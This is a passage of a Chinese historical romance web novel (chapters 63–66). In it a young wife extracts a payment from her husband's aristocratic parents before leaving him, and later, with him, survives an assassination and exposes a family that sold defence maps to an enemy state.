接下来的两日,阿致和陆昀峥相对无言,两人甚至很少有视线接触。
躺在床上时,阿致头一次明白了什么叫做同床异梦。
不过,阿致没有那么多精力去考虑陆昀峥的想法,她有很多事要做。
这两日里,陆昀峥一大早就出门和朋友游玩,她便正好出门去,寻了好几个房牙,就是为了咨询长安城里一个铺面的价格多少。
少说也要五十金吧,房牙是这么说的。
打听过后,阿致心中有了谱。在外头吃了晚饭,她又吞了一颗保胎药,晚上走在朱鹤湖边,一股细风吹来,竟然有丝丝的暖意,是春天的感觉。
阿致不自觉笑了,她望着不远处的华丽画舫,丝竹之声不绝于耳。
甚至,河对岸有人放烟花,好不绚烂。
曾经,
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她和陆昀峥期待一起来看烟花,却总是错过。这一次,她一个人站在湖边,看到了繁华之上绽放的热烈与喧嚣。
这么明亮、鲜艳,应该能在心里记得很久很久,阿致想。
这烟花迸发燃烧的瞬间,深蓝色的夜空被点亮,照亮了湖边所有的人,也包括刚走出画舫的陆昀峥和谷小姐。
最亮的那一刻,阿致和陆昀峥冥冥中侧头,看到了彼此。那一刻仿佛格外悠长,但不可避免地迎来了烟花熄灭后的黑暗。
陆昀峥的脸消失不见,他的身影也是模糊的。
阿致想要转开头,但是她的身体根本不听使唤,就像是笨重的石头砸在一个土坑里,动弹不得。
烟花再次亮起来时,陆昀峥已经转身,与身边的谷湘如言笑晏晏。谷湘如神采奕奕地看着陆昀峥的脸,眼睛里是盈盈水光,面有娇羞。他们两人贴得更近,不知道在说什么。
阿致轻轻伸手,放在胸前,非常用力地按在心口。
这样,就不会感觉到揪心之痛了吧。
·
晚上陆昀峥回来了,他一身的酒气。
是一个跑腿的将他带回来的,阿致沉默着将他扶到里头躺着。
他曾经答应过,再也不会饮酒。
他压根不记得自己的承诺了,不过这也没有多大的关系了。
端着烛火,阿致翻箱倒柜,把过去所有他送给她的首饰拿出来,包括之前买给她的琉璃手串从手腕上剐下来,还有戴着的绿色翡翠耳环,也一并取下来放在一个并蒂莲的锦囊里,收口放好。
这个锦囊是面馆老板娘送她的成亲礼物,熬夜缝制的。
正好,他们的情谊、缘分能损耗到这份上,离开也不会有太多的遗憾了。阿致看着灯火下锦囊上的并蒂莲,嘴角挂起一丝笑。
·
“迟来了三天。”陆老夫人得意地看着她,“说说你的答案吧。”
阿致自顾自坐到一旁的凳子上,望着上首坐着的陆老侯爷和老夫人,神情淡淡的:“想要我离开,可以,不过要答应我三个条件。”
“三个条件?”陆老夫人简直无语了,她看了一眼厅堂下坐着的沈雪致,又转头看了眼身边的老侯爷。
老侯爷正在喝茶,给夫人一个眼色,陆老夫人冷哼一声道:“说说看。”
“第一,我要一百金。”阿致眨眨眼,一脸坦荡。
“噗——”陆老侯爷一口茶水喷出来,他不可置信地看着阿致,两人对视,谁也不让谁。
陆老夫人在一旁道:“你真是胃口不小!一百金竟也说得出口。”
“啪——”老侯爷将手中的茶杯甩出去,茶杯碎尸万段,在地板上划出老远,水花四溅,其中两片茶叶往阿致这边飞来。
她稍稍挪脚,躲开了。
阿致仍旧一脸微笑,看着陆老侯爷。
她很清楚陆老夫人做不了主,所以特意挑了个陆老侯爷在的时候来谈,为的就是个干脆利落。
陆老侯爷大发脾气,指着她的鼻子大骂:“不知廉耻!”
唾沫横飞。
“难道你们儿子的姻缘值不得一百金?”阿致看着陆老侯爷。
陆老夫人鄙夷她:“先前你装作对我儿真心的模样,哄骗他,现在终于不装了,左不过就是为了银钱。你也别仗着我们仁义,以为我们不能拿你怎么样,便放肆得没边儿了。”
64. 第 64
64
原本,阿致找上门来,说有事与二老相商,陆老侯爷便以为这心机深沉的小丫头终于沉不住气了,若是她态度好,他们可以考虑给她一百两银子走人。
但是二老没想到,她竟然一开始就是一百金,十倍,十倍啊!
她也真是敢想。
陆老侯爷再怎么见多识广,也没有见过如此不要脸的人,他满脸鄙视:“穷山恶水出刁民,竟然敢打我们侯府的主意。但凡报官说你行骗,你这辈子都只能吃牢饭。”
他这话一说完,一旁的陆老夫人连忙伸手,一把拍在他手背上,示意他淡定点。
“报官?”阿致翘嘴笑了,“老侯爷大概还觉得自己挺正直仁义。不过,你们的儿子在外娶了我,与我有了夫妻之实,你们却不认,想要用点碎银子打发我了事,到时候说与满街的人听听看,是非曲直究竟如何。”
陆老侯爷捏紧了拳头,却发作不得,心里都是对三儿子的怨怼,怨他晕了头,竟然择了这样一个心思歹毒的女子,害得他们受制于人。
这小丫头不要脸皮,陆老夫人还是要的。一旦此事传出去,他们家的名声坏了,别说是陆昀峥自己的婚事成不了,其他未嫁未娶小辈的婚事更难。
陆老夫人只得忍着怒意,嘴角稍微挤出一丝笑,语气放得和缓了些:“你也别激动,这不是谈着么?”
阿致垂了眼没说话。
陆老夫人眼里有了笑容,这小丫头不过就是个纸老虎,看着挺厉害的,其实吃软不吃硬,于是她道:“这样吧,念着你也不容易,过去了三天,我们不再计较,在之前一百两的基础上,再补你五十两,如何?”
在她看来,阿致想要的不过就是银钱。
阿致抬眼,看着陆老夫人,满眼坦荡:“一百五十金。”
“你你你!”陆老夫人手指着阿致,气得胳膊直哆嗦,没法淡定,“滚出去!”
陆老侯爷咬着牙,一张脸凶神恶煞:“谁给你的胆子?”
“我没什么胆子,我只是拿自己应拿的份额。”阿致起身,“看来今日不方便再谈,那就再过几日。”
“你应拿的?”陆老侯爷被气笑了。
阿致站定,诚恳点头:“当然了。这事拖得越久,那有朝一日,我若怀上阿峥的孩子……”
阿致歪头看着上首的两位,他们目瞪口呆。
如若真有了孩子,眼前这女子更会作威作福,搅得全府没脸。
陆老侯爷压低怒火,问身边的夫人:“你没安排人处理?”
“我怎么可能不防备,早让许姑姑送避子汤去过,那傻孩子他坚决不让。”老夫人的声音渐渐弱了,她气得头晕,“我便是想着……短短几日而已……”
哪知现在成了别人拿捏的把柄。
陆老侯爷和夫人对视一眼,他们达成了共识,此事确实拖延不得:“一百金。你若收下了,便不得再出现在老三跟前!”
“不忙,”阿致重新坐回来,“我还有两个条件。”
陆老侯爷一口牙都要咬碎了:“说。”
“第二,您府上的奴婢故意踩死了我的猫,它死前哀嚎了一晚上。”
陆老夫人眉毛一挑,立刻明白,招呼许姑姑叫人去。
不一会,诗临便被两个婆子一左一右架着过来。
诗临以为是自己犯了什么错,想着接着许姑姑帮忙说几句软话就好了。
没想到,进了老侯爷的院子里,小厮已经摆好了条凳,直接把她往凳上一推,按好了就开打,往死里打。
诗临疼得哭爹喊娘,叫着侯爷夫人开恩,满头满脸的汗水泪水,哀嚎声响彻整个院子。许姑姑一脸不忍,但还是拿着帕子上前,捂住她的嘴。
打了十板子,诗临便痛晕过去,后臀上满是嫣红的血迹,肉都打烂了。打板子的小厮年轻力壮,额头上满是热汗。
许姑姑低垂眉眼进来,禀告:“丫头晕过去了,还打吗?”
陆老夫人看着阿致:“如何?”
阿致没说话,她侧头,冷眼看着院子里那一摊烂肉。
许姑姑挑眼看阿致一眼,赶忙低头,屏着呼吸。她头一次发现这边塞来的小娘子竟然如此的睚眦必报,竟能使唤老侯爷和老夫人下手。幸而,之前没有什么得罪过她的地方。怪也只怪诗临太过分,仗着有两分姿色,要被老夫人指到三公子房里,做事不留余地,一朝遇到个硬茬,鸡蛋碰上了石头。
陆老夫人对许姑姑吩咐道:“发卖出去。”
许姑姑连忙点头,指挥婆子小厮将人抬出去。
陆老夫人对阿致道:“第三个条件呢?”
陆老侯爷方才和夫人对过眼色了,只要不是无法忍耐的条件,他们都会答应,把这尊菩萨请出门。
阿致这才继续道:“第三,把原本属于阿峥的还给他,让他官复原职。”
陆老侯爷端着茶杯的手一顿,他还真没想到是这个条件。他还以为这奸诈的女子全都只为自己的利……
·
仔细看过契约,阿致又数了三遍银票,确认无误后揣在胸口里贴身放好。她这才提笔签字画押。
陆老夫人道:“你说到要做到,绝不可再纠缠老三,否则别怪我们依此办事。”
“放心,不出三日,我会离开长安,他再也找不到我。”阿致道,“照身贴,你们快些给我。”
定下契约之前,侯爷提出让她改换照身贴。这是为了彻底断了两人的联系。
阿致今日讹了陆昀峥爹娘一大笔银钱,若是他知道了,定会鄙夷她,不愿意再相见的吧。阿致认为改换照身贴多此一举,不过两位老人有顾虑,她便答应了。
·
阿致回到院子里时,已过午时。
陆昀峥在家里,坐着喝茶,他问阿致去了哪里。
阿致说去买了点菜,她拿出刚买的面粉和牛肉,转身去厨房和面、揉面,准备做晚饭。
陆昀峥没有再追问,而是跟着阿致一起到厨房里去,给她打下手。
晚上,在热气腾腾中,两人围着一张桌子坐着,安安静静地吃完一顿饭,少有的平静幸福。
曾经,这是阿致最期待的幸福,没想到成了散伙饭。阿致侧头看陆昀峥,他面无表情,不知道在想什么。
饭后,两人一起去街上逛了一圈,手牵着手。
长安城还是那个长安城,和他们刚来时是一样的,繁华、绚丽、喧嚣、人来人往。
可是,他们却变了,不再是亲密无间。即使手牵着手,他们之间也只剩下无法消弭的沉默。
就这样沉默地走回家去,家里一片漆黑、沉寂、冰冷。
关上院门、大门,两个人站在黑漆漆的厅堂里,同时转身。阿致抱住了陆昀峥的腰身,陆昀峥伸手捧着她的脸,用力亲吻她的嘴唇。
阿致扒开他的衣裳,陆昀峥则一把将她抱起来,扔在床铺的被子上。
阿致被撞得有些头晕目眩,仿佛身在无边无际黑色的水面上。
他们沉默地抱着彼此,这一整晚上,谁也没有放开手。
黑夜之中,只能看清对方的眼睛。阿致死死地看着陆昀峥的眼,用力地抱着他,紧紧地。
·
直到第二天早上,阿致才有了睡意,一觉睡醒,看这日头,已经过了午时。而她身边,陆昀峥不知道去了哪里。
阿致听到外头有敲门声,打开门一看,是许姑姑。
许姑姑恭敬地递上来两份照身贴以及对应的路引。
阿致打开两份分别看了下,选择了那个叫王致的女子。
送完照身贴,许姑姑知趣地离开,没有一句废话。
阿致则拿着照身贴以及路引回到房间里,打算先去烧热水洗个澡。
厨房里热气袅袅,是已经烧好的热水。灶堂里还有红色的火焰,没有熄灭。陆昀峥却不知道去了哪里。
阿致蹲在灶边上一会,感受着余温在胸口蔓延,就像一只猫儿一样。
真是温暖。
阿致洗过澡,换上一身干净清爽的青色长袍,回到房里开始收拾行李。其实没什么好收拾的,上次打算带小寒一起走时,她已经收拾好了。
阿致打开箱子,拿出包袱,看到了箱底的那个并蒂莲的锦囊。
她拿出那个锦囊,手指在其上摩挲许久,终究还是没有打开,原封不动地放在了箱底。既然要断,那就要断得彻底,所有他曾对她的好,她都要放下。
这时候,陆昀峥回来了,他走进房里,看着
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圆桌上敞着的包袱。
阿致听到他的脚步声,从容地盖好箱子,转头看着他:“对不起,我打算离开。”
陆昀峥抿紧嘴唇,许久,他说:“对不起的是我,我没有自己想的那样有担当,承诺过你的事也没有——”
“事情走到这一步,我自己也有责任。至少,我没有想象中那样勇敢。在来长安城之前,我以为自己可以承受……”阿致打断他,停顿了一会道,“但我发现,不可以。反倒是你,因为我,失去了家人,也失去了梦想。”
“你总是太善良,为我着想更多。”陆昀峥侧过头去,抹了一把脸,不看她,“之前父母劝说我和谷湘如成婚,我没有果断拒绝,是因为我确实动心了。我知道自己卑鄙无耻……你要恨就恨我吧。”
阿致看着他的侧脸愣了好一会儿,许久终于张嘴深呼吸,嘴角挤出一丝笑:“无所谓,反正你以后也会知道,我并不像你所想象的那样善良。”
刚听他这样说,她的心揪得难受,可是等到理智回笼,她便清楚意识到,陆昀峥是在说谎。一来,以他的聪明才智,不至于在这种情况下自曝自己的坏事,让她痛恨;二来,如果陆昀峥真的有意与谷湘如成婚,陆老夫人便不会对她一个小户女如此抓狂了;再则,阿致对他再了解不过,他不是三心二意的人。
他说这样的谎言,只是想要她恨他。
两人沉默地站了一会。
外头的天色渐渐暗下去,快到傍晚了,一个人赶路不太安全。阿致走去圆桌旁,拿起自己的包袱。
陆昀峥终于看她:“有什么我可以帮你的吗?”
阿致摇头。
陆昀峥从胸口掏出几张银票、地契来,还有他的黄玉,他说:“你拿着这些傍身。如果有什么难处,你可以随时来找我,随时都可以。”
随时,他看着阿致的眼睛强调。
阿致看着他手中的银票,还有铺子的地契,也不知道他突然从哪里弄来的,看起来倒像是早有准备。当然,也可能是陆老侯爷忍不住怒火,已经将一百金的事情告诉了她。
毕竟,她要钱嘛,所以他便给她更多的钱。
阿致将包袱绑在胸前,退后两步:“不用了。”
她从他父母手中拿到的已经够多了。
陆昀峥的手顿在空中,他又从袖子里掏出一个细长的首饰盒,棕底白云纹的布包着,一看就昂贵不菲。前两日他就买了,想要送给她的。
他将首饰盒递给她:“这是给你买的,你收下吧。”
阿致不要,她退后一步。
陆昀峥执意要给她,将那首饰盒并着一叠钱票、玉佩往她怀里塞:“原本就是打算给你的。”
阿致伸手去推,一不小心将他手中的首饰盒拍掉,包括那个黄色玉佩。
“砰”一声,黄玉掉在地上,打了个旋,甩出一个细小的碎片到阿致脚边。这昂贵的黄玉碎了一个角,真是可惜了。
而那首饰盒里的翡翠镶金步摇就更加惨,掉在地上“硁硁硁——”地几声,碎成好几段。
两人看着地上的碎玉,好久没有作声。
“对不起。”阿致捏紧胸前的包袱绑带,转身便离开了。
陆昀峥站在原地,看着碎掉的玉佩许久,颤抖着吸了两口冷气,赶忙追出去。
他伸出去的手,最终还是放下来。他没有选择拦住她,而是远远缀在她的身后,跟着她一路沿着繁华的长安街道,走到城门口。
她一直没有回头,一步一步走出了长安城。
他们走过闹市,走过朱鹤湖,走过年轻的男男女女,走过清冷的长街,阿致终于停步,在城门口。
城门口有一辆马车,是阿致提前安排好的。只需要一个时辰,她就可以在天黑之前赶到相邻县城的驿站。
这时候天色暗了,风渐渐大了,涌动着,将阿致身上的长衫吹起,撩动她肩上的黑色长发。
阿致伸手扒着马车边缘:“陆公子请留步,你我恩怨已消,望您保重。”
说这话的时候,她也没有回头。
大风鼓起她青色的长袖,吹起她脸侧的黑色碎发,在空中不安地飘摇着。
来长安城之前,她以为他们能长相厮守的,没想到这么快便缘尽。
65. 第 65 章
因着与王阳重逢,阿致兴致不错,她准备了好酒好菜和他洽谈许久。
等到快二更,陆昀峥还没回家。
王阳有些不胜酒力,起身准备回去歇脚处。
这大晚上的回去多不安全啊。阿致不放心,盛情留他在后院的一楼去住,于大夫于初禾的隔壁还有一间房,只是不甚宽敞。
王阳执意要走,阿致没有办法,把他送去门口。
王阳柱着拐杖,深一脚浅一脚,牵过毛驴,费力往毛驴身上爬,好几次都上不去。
正好这时候,陆昀峥从外面回来,他一把夺过王阳手里的绳子,拉着他又进去喝几杯。
王阳摆手不敢再喝。
阿致也怕他喝出问题来,便让邬春荣给上些茶水来。
陆昀峥这些天忙得很,与王阳见面后,这是第一次有时间畅聊。倏忽五六年就这样过去了,几个人很是感慨。
这时候后院里一声响,是希君的尖叫。
阿致立刻起身,往后院狂奔。
陆昀峥扔了酒杯往后院跑。
只见希君一个人孤零零站在院子的池塘边上,望着西边屋顶上,嘴巴大张,明显受到了惊吓。
阿致赶忙过去,半蹲在地上,将希君抱在怀里,仔细检查:“怎么了?”
那西边屋顶上什么也没有。
希君眼泪亮晶晶的,吸一下鼻涕,指着空中:“有鬼,女鬼……”
阿致用帕子给希君擦干净脸和鼻涕:“你看岔眼了吧。”
“阿妈,我刚才就躲在这草丛里找小兔子,看得很清楚,白色的脸,嘴巴像西瓜那么红……”希君浑身冰凉,抱着阿致发抖。
那小兔子是一只灰野兔,白天的时候,邬春荣带着楚楚回来的路上捡到的,留给希君做宠物。希君爱死了,一直抱着小兔子不撒手,没想到经过院子里时,小兔子跳脱,到了池塘边的草丛里不见了,希君这才躲在草丛里抓兔子。
阿致将希君抱起来,走到院落中央。
陆昀峥站在院落中央,他抬头环视四周,许久,转身,将娘俩护在怀里,低沉地道:“没事。”
真的没事?阿致抬眼看他。
陆昀峥轻轻在她肩头拍了拍。
阿致便心领神会,没有再说什么。
这时候王阳拄着拐杖过来,得知希君没事,便说要回去歇脚的地方。
他的酒已经醒了。
阿致想要说服他留下,王阳仍旧坚持要走。
一旁陆昀峥站着没动,也没有劝,反而帮着他上去小毛驴。
“小心!侯爷!”这是罗三的声音。
“嗖——嗖嗖嗖——”
好几道利箭朝他们这边而来,陆昀峥转身,将阿致和希君推到厅里。
而王阳躲过了一劫,利箭射在小毛驴的肚子上。
阿致抱着希君往角落里躲好。
陆昀峥则抽出厅堂里的那把长刀,旋身出去。
阿致听着刀刃相接的繁杂吵闹声,皱了皱眉头。光是前院的杀手,就有超过十个人,难怪陆昀峥的暗卫防不住。
有一个黑衣蒙面人,翻身进来厅里,吓得希君大喊,阿致瞅准时机,一簪子插他眼睛里。
“硁”,金属相撞的声音。
陆昀峥的刀从上往下劈,劈开那人的脑袋,撞上阿致的簪子。
两人只是对上一眼,陆昀峥又转身,和罗三一起,将王阳从外头拖进来。
许久,院子里终于平息。
暗卫杀了所有的刺客,其中一个活口咬舌自尽了。
王阳看着院子里一地的黑衣人尸体,检视后道:“这些都是楼烦细作!”
阿致抱着希君松一口气,赶紧去后院查看楚楚和邬春荣。楚楚到底胆子大,也比较机敏。听到前院的打斗声时,邬春荣正好给她送些热水来,两人便吹灯后躲在房里,好在安全无虞。
于大夫则是呼呼大睡中,完全不知道发生了什么事,被阿致叫醒,他生了老大的气。
前院,一个暗卫从外疾跑进来,对陆昀峥禀报道:“侯爷,军营来报,有刺客!抓到了三个,还有一个藏身在军营里。”
“抓到的刺客可是楼烦细作?”陆昀峥问。
“是!侯爷怎的知道?”那暗卫转头看地上,这才明了,这两波暗卫是一拨的,却要分头行动。
陆昀峥皱眉思考着。
王阳道:“那藏身在军营的细作,恐怕是为了前几日的布防图。”
陆昀峥点头:“我去军营。”
外头有打更人,梆梆梆敲了三下。
夜已深了,但是军营里无小事。
陆昀峥赶忙往后院去骑马。
王阳拄着拐杖,艰难跟着他:“侯爷,你可是要去军营查看布防图?”
那个藏身的楼烦细作,恐怕是可以制造混乱,想要引陆昀峥回去军营查看布防图是否安全。如果陆昀峥果真中计,就会暴露布防图的所在。
“不是。”陆昀峥翻身上马,“瓮中捉鳖。”
·
王阳最终在后院一楼歇下了。
第二天早上,他起床没多久,陆昀峥便回来了。
陆昀峥一日一夜没有休息,有些疲态,但精神头很好,在前厅里吃早饭。前厅门口的那些尸体,早就让暗卫们处理完毕。
王阳问:“侯爷可抓到刺客了?”
陆昀峥点了点头:“顺利。”
他昨晚回到军营后,假意上当,去到衙署的三堂查看机密卷宗,然后快速离开。离开后,他又派许多士兵假作找人,实则盯紧三堂进出所在,顺利抓到了一个女子,看到她苍白的、皱皱巴巴的脸,还有那枣红色的红唇,陆昀峥忽然明白为何希君说是见鬼了。
这女子被抓到后,没来得及咬舌自尽,被押到牢里去审问。
对于陆昀峥来说,昨晚算是有惊无险地过去了。
王阳看他这样放心了许多。
陆昀峥吃完早饭,对阿致道:“咱们去武府。”
“去武府做什么?”阿致一时没想到。
陆昀峥看着她:“契约。”
他早前答应了她的事。
“哦——”阿致忘了,她要和吾三小姐商量,解除契约,“不忙,你现在累得很,先睡,等你睡醒了再说。”
陆昀峥也没异议,简单冲洗后,躺床上酒睡着了。
希君昨晚上受惊没睡好,抱着她爹陆昀峥,睡梦中也嘴角带笑。
阿致带着房门,关好,邬春荣从外头进来:“夫人,那五三小姐又来了,她要找侯爷确定婚礼单子。”
阿致回头,看着紧闭的房门,道:“我去会会她。”
·
“怎么是你?”武娅
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禾看到阿致,眉头不悦地皱起来,“侯爷呢?”
“侯爷现在没空。”阿致打量着她,还有她身后两个小厮,其中一个小厮手中似乎拿着一个红色的帖子。
武娅禾转身往后头院子里去。
邬春荣拦住她:“武小姐,使不得。”
武娅禾挥手,手里的短鞭“啪——”一声甩出来,差点甩到邬春荣脸上。
邬春荣连忙拿胳膊去挡,胳膊肘上的袄子被抽得一响。
邬春荣闷哼一声,捂着胳膊躲开了。
阿致眯着眼睛,对空中道:“罗教头,麻烦送客。”
说完,院子角落里现出两人来到院子里,拦着武娅禾。
武娅禾怒道:“我与侯爷有婚约,看你们谁能拦我!”
“婚约?”阿致冷笑道,“你先把解药拿来。”
武娅禾似乎早有预料,她探出手来,手心里摊开一个小小的方盒子:“给你。”
阿致伸手拦住她:“不忙。”
说完,阿致转身吩咐邬春荣:“去叫侯爷起来,这解药有没有用,可要侯爷有个见证。”
待到陆昀峥来了,看到武娅禾,他心里便明白了几分,冷声问:“武三小姐的契约可带来了?”
武娅禾盯着他许久,终究从腰间抽出了一张契约,又将方盒子打开,露出那一颗棕黑色的药丸,递给阿致:“喏,解药。我的责任已完成,该侯爷履行契约与我成婚。”
她答应过阿爹,一定会嫁给陆昀峥,一定会阻止陆昀峥的调查。
阿致没有接她的方盒子:“契约上写的是必须要解药有效,请武三小姐证明此药可解毒。”
“你——”武娅禾按着手中的鞭子,气愤道,“我又没有中毒,如何与你证明?”
“这样吧,既然你说是解药,你吃下去,若安然无恙,我便算你有效,如何?”
这么简单?恐怕不是吧。武娅禾这才意识到一个问题:她想到了这解药可能没用,但没想到这解药可能有毒。
之前她问齐护法这解药是否有效,齐护法信誓旦旦说有效。可是——齐护法恨不得陆昀峥禾他身边的人死,肯定不会让王致这小娘子活下来!所以,这药丸上有毒。
而且,很明显的是,王致已经料到了,才会让她吞下去……
武娅禾的额头上冷汗直冒,她总不能为了婚事,送掉自己的性命。
阿致淡淡地道:“既然武三小姐不能证明解药是否有效,那这契约便作废。”
武娅禾盯着阿致许久,没有说话,手指却捏紧了那个方盒子。
陆昀峥道:“三小姐如果足够聪明,便该知道此路不通。”
武娅禾终究还是将那一纸契约递过去。
阿致接过来,那契约的一角却被武娅禾死死捏住。
阿致抬眼看着她,用力一抽,从她手指尖抽走。
阿致仔细核对两张契约,确定无误后,随手撕成了碎片,至此,一场荒唐的婚约,终于尘埃落定,如同这些碎片一样。
武娅禾脾气上来,将手里的方盒子摔地上。她自小脾气躁,摔东西是常事。
等到她发现那有毒的药丸滚到小池塘的草丛里,已经晚了。
一只不知道哪里蹦出来的灰兔子,鼻头翕动两下,将那药丸吞了。
立时,兔子眼鼻流血,倒在池塘边上。
66. 第 66 章
那兔子直直倒地的一刻,武娅禾全身都僵住了。
现在可不是解药有没有效的问题了,而是这药有毒,且还给了别人板上钉钉的证据。
阿致道:“看来,武三小姐给的是毒药。”
陆昀峥道:“来人,将武三小姐送到官府大牢,等候审查。带上这只死兔作为证据。”
院子角落里的两个暗卫快速出动,将武娅禾的双手反剪在背后。
武娅禾的鞭子挣脱在地上,她对陆昀峥道:“你们凭什么这样对我?我根本就没有必要下毒!一定是有人调包了解药……”
“你说被人调包了,那你的证据呢?”阿致看着武娅禾,武娅禾脸上的威风不再,再也没有了曾经威逼着她出让丈夫的嚣张。阿致道,“现在唯一的事实,就是你拿了一颗毒药来充作解药。”
“陆昀峥,侯爷,你听我说,我根本不可能做这种愚蠢的事。”武娅禾放低了姿态求情。
陆昀峥还没发话,罗三从外头走进来,低头行了个礼。
陆昀峥便走出去,站在远处廊檐下。罗三则贴在他耳侧,汇报了两件事。
第一件事就是之前查抄武府在钱庄的银钱流向彻底清楚了,与那已经去世的副官有大笔来往,这算是间接说明武府出手买了那布防图;第二件事便是获得了直接证据,他们在盯着武府动向的时候,发现武三小姐身边的人在追杀一个毛头小子,将人救下来之后才知道,这小子曾意外撞见了武府老爷与那副官谋划着将布防图卖给楼烦奸细大发一笔。
罗三问:“侯爷,现在去查抄武府?”
陆昀峥点头:“别让人溜了。”
回到后院,陆昀峥挥手让人带走武娅禾:“有罪无罪,衙门再辩。”
·
武娅禾被关进大牢里,狱吏粗暴地扯掉了她外头华丽的袍子,给她一身脏兮兮的囚服换上。
大牢里阴森冰冷,她坐在稻草上好一会,冷得不行,缩成一团。她本指望着齐护法能杀了陆昀峥,可是到现在还没有任何音信,或许计划已经失败。武娅禾只期盼着父亲快些得知自己的消息,将自己解救出去,再想其他办法。
就在这时候,一阵喧哗吵闹声在大牢入口处响起,武娅禾勉强抬起眼皮子看一眼。
被押送而来的竟然是她的父亲武进善,还有大姐姐武幼云、二哥哥武建白!他们穿着脏兮兮的囚服……
武进善和武建白被关在了隔壁的囚室,而武幼云则关在了武娅禾同一间。
武幼云挺着大肚子,看到武娅禾,瞬间歇斯底里道:“都怪你害死全家!”
武进善也激动起来,隔着囚室之间的木柱空隙,伸手去够武娅禾,气得嘴角唾沫直飞:“都怪你!如今全家都变成阶下囚,还害得你大姐姐如今怀胎在身,被夫家休弃。”
武娅禾原本往角落里躲着,听到这里,转头看着大姐姐:“姐夫对你那么情深意切……他连你们的骨血都不要了?”
“情深意切算什么?骨血算什么?你惹出的祸可是株连三族,谁敢沾边?”武幼云摸着肚子,咬牙切齿。陆将军在查武家的钱庄往来一事,在昨晚上走露风声,夫君第一时间将她休弃。武幼云虽然寒心,但也知道无可挽回,只能回家与父亲商量过后,收拾细软赶紧溜走。没想到军营早就做好了埋伏,将他们截获,送到牢里来。
武娅禾的目光落在武幼云的大肚上,呆呆地道:“我也没想到会变成这样……”
“你没想到?没想到为何要自作主张去动爹爹的生意?”一直沉默的武建白格外生气,“总这样自以为是,你就不能消停会?”
就在这个时候,一个狱吏把瘦小的丫头带进来,小丫头还是两丫髻,浑身瑟瑟发抖,胳膊下夹着两件厚袄子,手里提着一个食盒。
茱漾一看到自家小姐,便扑到囚室边上,心疼得掉下泪来:“小姐,你怎样了?冷不冷?饿不饿?你看我给你带了什么。”
茱漾慌忙将棉袄往囚室里塞,手忙脚乱打开食盒。
十天之前,三小姐突然预感到身处险境,怕连累到茱漾,便还了她的卖身契,并将她的奴籍取消,要将她送走。是以,茱漾得以躲过一劫,在听说武府遭难的时候,断然回头来看三小姐。
武娅禾看到茱漾,眼睛里终于升起了一丝光,她快步走过去,弯腰拉住茱漾的手:“你早就不是武府的人了,快走!”
武进善对茱漾和颜悦色道:“你是个忠心的,在外头也不要忘了替我们武府伸冤。”
茱漾缩着肩膀,有些害怕,她的胆子素来就很小。
武娅禾变了脸色:“父亲何苦害她牵连进来?”
武进善冷笑起来:“现在你倒是大发慈悲了,一开始你怎的不考虑我们这一家子?”
“阿爹,我就是考虑到咱们一家,才会插手。当时那副官死了,与您的交易眼看要败露,我才——”武娅禾解释。
她说的都是事实,副官冻死在雪夜里后,她父亲武进善与副官的勾当引起了陆昀峥的注意,早晚要暴露。因此,她从父亲房里偷出来那布防图,与楼烦人换取两颗解药,再和陆昀峥做交易,就是为了自己一人担责,一人解决的。
只是,她低估了楼烦细作的人数和能力,导致布防图落入了细作手中;也低估了陆昀峥和王致的反击,他们自己想办法便得到了解药。
这个时候,一只黑色的老鼠跑出来,在武幼云的裙摆下,武幼云一低头,吓得魂都快飞了,一屁股蹲儿摔在地上,好歹肚子没事,但她心里火气不小,接着道:“你说再多借口,也不过是为了掩盖自己的私心。”
武娅禾眼睛红了:“我什么私心?”
“你嫉妒我得父亲宠爱,嫉妒我嫁得好。便处处想尽办法证明自己比我好,还使计谋强嫁给陆昀峥这样的侯爵,好压过我一头。”武幼云干脆将心中的愤恨直白剖开。
“我要嫁陆昀峥,也是为了家里?”武娅禾咬着下唇。
“为了家里?”武幼云冷哼一声,“都是为了你自己,害得全家陪葬。”
·
晚上,陆昀峥处理完公务,大牢里的狱吏过来,低声问:“将军,那武三小姐在牢里以头抢地,求见您。”
陆昀峥一挥手:“不必,证据事实皆在,该如何审便如何审。大战在即,此事交给你处置。”
刚出衙署,陆昀峥被一个小丫头张开手拦在路上。
寒冬腊月的,晚风透心凉,也不知道这丫头在风口等了多久。
她噗通一下跪在地上,哽咽着给武娅禾求情,絮絮叨叨。
听了许久,陆昀峥终于明白了她的意思:武三小姐怕父亲真的通敌酿成大祸,才会偷走布防图,且从来没有打算将布防图送给楼烦奸细,只是出了意外。
陆昀峥牵过自己的马,上马准备离开:“不管是否出于本意,她确实拿布防图与敌国做交易,那她就必须承担后果。”
小丫头哭的稀里哗啦,跪在地上磕头起来:“侯爷,我来这里求情,是出自本心。我家小姐看着任性,但她待人极善,即使是我们这些下人,她也从没有瞧不起。还有,甄家小子撞破了秘密,小姐早就抓住了他,可是她从来没想过要杀人灭口!侯爷,您看在我家小姐心善的面上,饶她一命吧。”
陆昀峥听完,半晌没有回复,随即打马离开。只剩下那小丫头的呜咽声夹杂在风里,十分绝望。因着这绝望,第二日一早,陆昀峥去到大牢提见武娅禾,她额头上满是血,双目无神,看到陆昀峥便一再强调,一人做事一人当,与她家人没有任何关系,仿若癫狂。陆昀峥只淡淡说一句:“国有国法。”武娅禾整个人失了精气神,垂头喃喃自语着:“我没有私心,我没有私心……”
·
当日晚上,陆昀峥从外头回来,邬春荣给他收拾了马匹,希君则一下冲进爹爹的怀抱里,笑得十分开心。
楚楚立在一旁,嘴角带着笑,但神情始终是落寞的,或许是想起了自己的爹妈。
时候也不早了,阿致让楚楚早点去休息,又将希君从陆昀峥身上扒下来,让她自己去洗漱,准备睡觉。
阿致则给陆昀峥上了一碗姜茶,烟气袅袅的,喝下去,整个人都暖和极
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了。
陆昀峥问:“美娘什么时候下葬?”
“不下葬。两日之后火化了,让楚楚带着去长安城安葬。”阿致问,“怎的突然说这个?”
“马上要打起来了,我想你们先回长安城里等着。”
阿致点头:“我也正有此安排。今时不同往日,不是我一个人等你,还有两个孩子。”
陆昀峥捏住她的手:“楚楚八岁,希君也有五岁了,该要回去好好读书,再则你们回去长安,我也能放心。”
“就是刚买的铺子,一时之间腾不出去,有些伤脑筋。”阿致买铺子的时候,奔着和陆昀峥长久在这里过日子的。没想到后来中了毒,她的面馆压根没有开起来。
现在要打仗了,保宁城里的人越发少得可怜,到处是空置的铺面,贱价出售也没什么人要。毕竟,万一楼烦人攻入保宁城里,一顿烧杀抢掠,铺面都能烧光。
所以现在一个铺面,价格跌倒了以前的三成,甚至两成。只是这样的话,到手的银钱,少得可怜。
陆昀峥理解她的想法:“你若是心疼铺面钱,我给你出钱在长安城开个铺子。”
